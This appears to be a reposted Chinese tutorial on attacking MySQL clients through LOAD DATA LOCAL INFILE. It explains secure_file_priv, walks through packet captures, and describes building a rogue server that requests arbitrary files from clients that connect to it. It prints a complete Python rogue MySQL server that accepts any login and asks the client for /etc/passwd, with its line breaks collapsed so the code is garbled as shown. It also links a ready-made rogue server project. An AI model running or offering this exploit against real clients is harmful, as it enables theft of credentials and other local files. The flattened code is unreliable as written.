您好,登錄后才能下訂單哦!
本篇文章為大家展示了怎么實現(xiàn)MySQL客戶端攻擊鏈的探索,內(nèi)容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。
LOAD DATA語句可以裝載服務(wù)器主機上的文件,若指定LOCAL關(guān)鍵字,可以裝載客戶端文件。
還是看官方文檔的描述吧
Mysql官方對在官方文檔中已經(jīng)闡述了LOAD DATA的危害性,并且對LOAD DATA特性的使用做了嚴格限制,例如secure_file_priv的設(shè)置
secure_file_priv的值為/var/lib/mysql-files/,那么secure_file_priv這里都有什么設(shè)置呢
secure_file_priv為null 表示不允許導入導出
secure_file_priv指定文件夾時,表示mysql的導入導出只能發(fā)生在指定的文件夾
secure_file_priv沒有設(shè)置時,則表示沒有任何限制
對于LOAD DATA我們常用的語句搭配有兩個,分別是操作客戶端和服務(wù)器文件:
load data local infile "文件路徑" into table 表名 fields terminated by '分隔符'; load data infile "文件路徑" into table 表名 fields terminated by '分隔符';
第一個語句的意思是讀取客戶端上的文件并存入相應(yīng)表中,第二個語句是讀取服務(wù)器的文件并存入相應(yīng)表中。我們要關(guān)注的是LOAD DATA LOCAL INFILE,因為利用這個我們可以在一定條件下,實現(xiàn)任意文件讀取!
不過,正如前面提到的我們有個secure_file_priv,這個參數(shù)會限制我們讀取文件的路徑,我們首先配置一下它,方便我們稍后操做。
環(huán)境:ubuntu 16.0.4,mysql 5.7.23
工具:tcpdump
這里使用的抓包命令為:
tcpdump -i lo port 3306 -w mysql.cap -v
mysql客戶端與服務(wù)器的交互主要分為兩個階段:握手認證階段和命令執(zhí)行階段.
握手為TCP三次握手,這里我們?nèi)シ本秃?,著重分析一下它的命令?zhí)行階段
首先服務(wù)器向客戶端發(fā)送一個Greeting問候包
主要為mysql和服務(wù)器一些banner信息!
然后客戶端會發(fā)送一個Authentication包,其作用進行登陸請求,發(fā)送用戶名密碼(密碼為兩層sha1加密)和一些config。
接下來客戶端發(fā)送的查詢包,首先進行的是一些初始化查詢!例如:select @@version_comment limit 1
然后是我們的查詢包內(nèi)容load data local infile語句!
收到我們的Query查詢后,服務(wù)器會返回一個包含我們請求的文件名的響應(yīng)包!
最后客戶端向服務(wù)器發(fā)送了一個Response TABULAR 內(nèi)容為服務(wù)器請求文件的內(nèi)容!
至此,我們就讀取了客戶端的文件,并且在無secure_file_priv限制的情況下,我們可以進行任意文件讀取!
那么問題來了,我們來再看一下官方文檔!
從官方文檔,我們可以知道服務(wù)器請求客戶端文件的時候,并未約定指定文件,在這種情況下服務(wù)器只需要提供文件名,就可以讀取客戶端的任意文件,如果我們構(gòu)造一個惡意的服務(wù)器,當客戶端連接后,我們只需要偽造file transfer包就可以實現(xiàn)文件讀?。‘斎磺疤崾荓OAD DATA LOCAL設(shè)置開啟。
過程如圖所示:
搭建惡意服務(wù)器需要滿足下面三個條件:
首先向 MySQL Client 發(fā)送Server Greeting包
等待Client 端發(fā)送一個Query Package包
然后回復一個file transfer請求,來請求讀取文件
首先,我們要知道如何構(gòu)造如何構(gòu)造File Transfer和Server Greeting數(shù)據(jù)包,在mysql的官方文檔上已經(jīng)給出了數(shù)據(jù)包的格式。
File Transfer數(shù)據(jù)包格式:https://dev.mysql.com/doc/internals/en/com-query-response.html
我們需要等待一個來自 Client 的查詢請求,才能回復服務(wù)端的這個讀文件的請求。
Greeting數(shù)據(jù)包格式:https://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::Handshake
代碼來源:https://www.vesiluoma.com/abusing-mysql-clients/
#!/usr/bin/python#coding: utf8import socket# linux :#filestring = "/etc/passwd"# windows:#filestring = "C:\\Windows\\system32\\drivers\\etc\\hosts"HOST = "0.0.0.0" # open for eeeeveryone! ^_^PORT = 3306BUFFER_SIZE = 1024#1 Greetinggreeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"#2 Accept all authenticationsauthok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"#3 Payload#數(shù)據(jù)包長度payloadlen = "\x0c"padding = "\x00\x00"payload = payloadlen + padding + "\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)s.bind((HOST, PORT))s.listen(1)while True:conn, addr = s.accept()print 'Connection from:', addr conn.send(greeting)while True:data = conn.recv(BUFFER_SIZE)print " ".join("%02x" % ord(i) for i in data)conn.send(authok)data = conn.recv(BUFFER_SIZE)conn.send(payload)print "[*] Payload send!"data = conn.recv(BUFFER_SIZE)if not data: breakprint "Data received:", databreak# Don't leave the connection open.conn.close()
Github項目:https://github.com/allyshka/Rogue-MySql-Server
這里使用github的項目測試,首先運行腳本如下:
我們可以發(fā)現(xiàn),我們可以實現(xiàn)任意文件讀取。
上述內(nèi)容就是怎么實現(xiàn)MySQL客戶端攻擊鏈的探索,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關(guān)注億速云行業(yè)資訊頻道。
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。